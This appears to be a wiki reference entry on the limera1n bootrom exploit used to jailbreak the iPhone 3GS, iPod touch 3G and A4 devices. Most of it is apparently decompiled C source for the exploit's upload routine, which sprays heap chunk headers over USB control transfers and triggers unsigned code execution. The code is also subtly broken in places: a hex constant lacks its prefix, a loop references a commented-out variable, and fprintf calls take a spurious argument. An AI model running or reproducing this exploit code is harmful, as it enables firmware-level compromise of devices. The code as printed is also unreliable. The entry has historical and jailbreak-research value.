Limera1n Exploit

The limera1n exploit is the bootrom and iBoot exploit used to run unsigned code (and thereby jailbreak) the iPod touch 3rd Generation, the iPhone 3GS and all A4-based devices. First used in the limera1n tool by geohot, it can perform a tethered jailbreak on the aforementioned devices. The jailbreak can then be turned into an untethered jailbreak with other exploits, such as the 0x24000 Segment Overflow or the Packet Filter Kernel Exploit.

limera1n was the final publicly disclosed bootrom exploit until the disclosure of the alloc8 Exploit in April 2017, although the alloc8 Exploit has a basis in limera1n. The last device released vulnerable to limera1n is the iPhone 4 (iPhone3,2), and it remains to be the only publicly disclosed bootrom exploit for this device.

Source Code

signed int __cdecl upload_exploit() {
    int device_type;
    signed int payload_address;
    int free_address;
    int deviceerror;
    char *chunk_headers_ptr;
    unsigned int sent_counter;
    //int v6;
    signed int result; 
    //signed int v8;
    int recv_error_code;
    signed int payload_address2;
    signed int padding_size;
    char payload;
    char chunk_headers;
    //int v14;
    //v14 = *MK_FP(__GS__, 20);
    device_type = *(_DWORD *)(device + 16);

    if ( device_type == 8930 ) {
        padding_size = 0x2A800;
        payload_address = 0x8402B001;
        free_address = 0x8403BF9C;
    } else {
        payload_address = 0x84023001;
        padding_size = 0x22800;
        // free_address = (((device_type == 8920) – 1) & 0xFFFFFFF4) – 0x7BFCC05C;
        if(device_type == 8920) free_address = 0x84033FA4;
           else free_address = 84033F98;
    }

    memset(&payload, 0, 0x800);
    memcpy(&payload, exploit, 0x230);

    if (libpois0n_debug) {
        //v8 = payload_address;
        fprintf(stderr, 1, "Resetting device counters\n");
        //payload_address = v8;
    }

    payload_address2 = payload_address;
    deviceerror = irecv_reset_counters(client);

    if ( deviceerror ) {
        irecv_strerror(deviceerror);
        fprintf(stderr, 1, &aCannotFindS[12]);
        result = -1;
    } else {
        memset(&chunk_headers, 0xCC, 0x800);
        chunk_headers_ptr = &chunk_headers;

        do {
            *(_DWORD *)chunk_headers_ptr = 1029;       
            *((_DWORD *)chunk_headers_ptr + 1) = 257;
            *((_DWORD *)chunk_headers_ptr + 2) = payload_address2;  
            *((_DWORD *)chunk_headers_ptr + 3) = free_address;
            chunk_headers_ptr += 64;
        } while ((int *)chunk_headers_ptr != &v14);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending chunk headers\n");

        sent_counter = 0;
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        memset(&chunk_headers, 0xCC, 0x800);

        do {
            sent_counter += 0x800;
            irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);
        } while (sent_counter < padding_size);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending exploit payload\n");

        irecv_control_transfer(client, 0x21, 1, 0, 0, &payload, 0x800);

        if (libpois0n_debug)
            fprintf(stderr, 1, "Sending fake data\n");

        memset(&chunk_headers, 0xBB, 0x800);
        irecv_control_transfer(client, 0xA1, 1, 0, 0, &chunk_headers, 0x800);
        irecv_control_transfer(client, 0x21, 1, 0, 0, &chunk_headers, 0x800);

        if (libpois0n_debug)
        fprintf(stderr, 1, "Executing exploit\n");

        irecv_control_transfer(client, 0x21, 2, 0, 0, &chunk_headers, 0);
        irecv_reset(client);
        irecv_finish_transfer(client);

        if (libpois0n_debug) {
            fprintf(stderr, 1, "Exploit sent\n");
            if (libpois0n_debug)
                fprintf(stderr, 1, "Reconnecting to device\n");
        }

        client = (void *)irecv_reconnect(client, 2);

        if (client) {
            result = 0;
        } else {
            if (libpois0n_debug) {
                recv_error_code = irecv_strerror(0);
                fprintf(stderr, 1, &aCannotFindS[12], recv_error_code);
            }
            fprintf(stderr, 1, "Unable to reconnect\n");
            result = -1;
        }
    }

    // compiler stack check
    //if (*MK_FP(__GS__, 20) != v14)
    //    __stack_chk_fail(v6, *MK_FP(__GS__, 20) ^ v14);

    return result;
}